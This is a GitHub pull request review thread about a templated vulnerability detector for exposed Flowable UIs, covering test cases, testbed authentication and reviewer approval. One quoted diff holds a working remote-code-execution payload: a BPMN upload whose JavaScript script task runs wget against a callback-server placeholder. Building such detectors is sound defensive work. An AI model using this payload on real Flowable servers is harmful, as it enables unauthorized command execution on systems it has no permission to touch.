Conversation
It seems that test cases has a bug and i can't finish one test case after numerous efforts
templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto
Show resolved
Hide resolved
templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto
Outdated
Show resolved
Hide resolved
templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto
Show resolved
Hide resolved
giacomo-doyensec
left a comment
giacomo-doyensec
left a comment
There was a problem hiding this comment.
Hello @devampkid, thanks for the updates!
You can find a couple of issues to address in the comments below. Feel free to reach out if you have any questions.
templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto
Outdated
Show resolved
Hide resolved
templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto
Show resolved
Hide resolved
|
Hello @devampkid, thanks for the updates. |
|
Hi @devampkid, Are you still willing to contribute to that change? Thank you |
|
Hi @tooryx, I just pushed the requested change. |
|
@devampkid in the testbed it appears that the vulnerable test case adds a proxy layer which adds the authentication header for the default user. Can you please clarify the circumstances in which authentication will not be required? @tooryx had asked a similar question at #685 (comment) |
|
@robert-doyensec I'm sorry about this matter, since it's been a long time i forgot totally about this, and also I only looked at the last comment on the testbed PR, and it seems I made this mistake twice! I will update the testbed shortly |
robert-doyensec
left a comment
robert-doyensec
left a comment
There was a problem hiding this comment.
Generally looks good and works. Just a couple of small suggestions.
templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto
Outdated
Show resolved
Hide resolved
| headers: [ | ||
| { name: "Content-Type" value: "multipart/form-data; boundary=------------------------gxyhRpqEx2dfbXUDrMqEEL" } | ||
| ] | ||
| data: '--------------------------gxyhRpqEx2dfbXUDrMqEEL\r\nContent-Disposition: form-data; name="file"; filename="jsScript.bpmn"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"\nxmlns:flowable="http://flowable.org/bpmn"\ntargetNamespace="Examples">\n\n<process id="jsScriptProcess" name="JavaScript Script Process">\n<startEvent id="start" />\n<sequenceFlow sourceRef="start" targetRef="scriptTask" />\n<scriptTask id="scriptTask" name="Execute Command via JavaScript"\nscriptFormat="javascript"\nflowable:autoStoreVariables="true">\n<script>\nvar ProcessBuilder = Java.type(\'java.lang.ProcessBuilder\');\nvar Arrays = Java.type(\'java.util.Arrays\');\nvar Scanner = Java.type(\'java.util.Scanner\');\n\nvar processBuilder = new ProcessBuilder(Arrays.asList(\'wget\', \'{{ T_CBS_URI }}\'));\nvar process = processBuilder.start();\n\nvar scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");\nvar result = scanner.hasNext() ? scanner.next() : "";\n\nexecution.setVariable(\'commandOutput\', result);\n</script>\n</scriptTask>\n<sequenceFlow sourceRef="scriptTask" targetRef="end" />\n<endEvent id="end" />\n</process>\n\n</definitions>\n\r\n--------------------------gxyhRpqEx2dfbXUDrMqEEL--\r\n' |
There was a problem hiding this comment.
Can you move the script portion into a workflow variable called "payload" for clarity and debugging later? Ideally just the part between <script> and </script>.
|
LGTM - Approved |
4 participants
Hello, this is related to #675
find the testbed here: https://github.com/google/security-testbeds/pull/156/files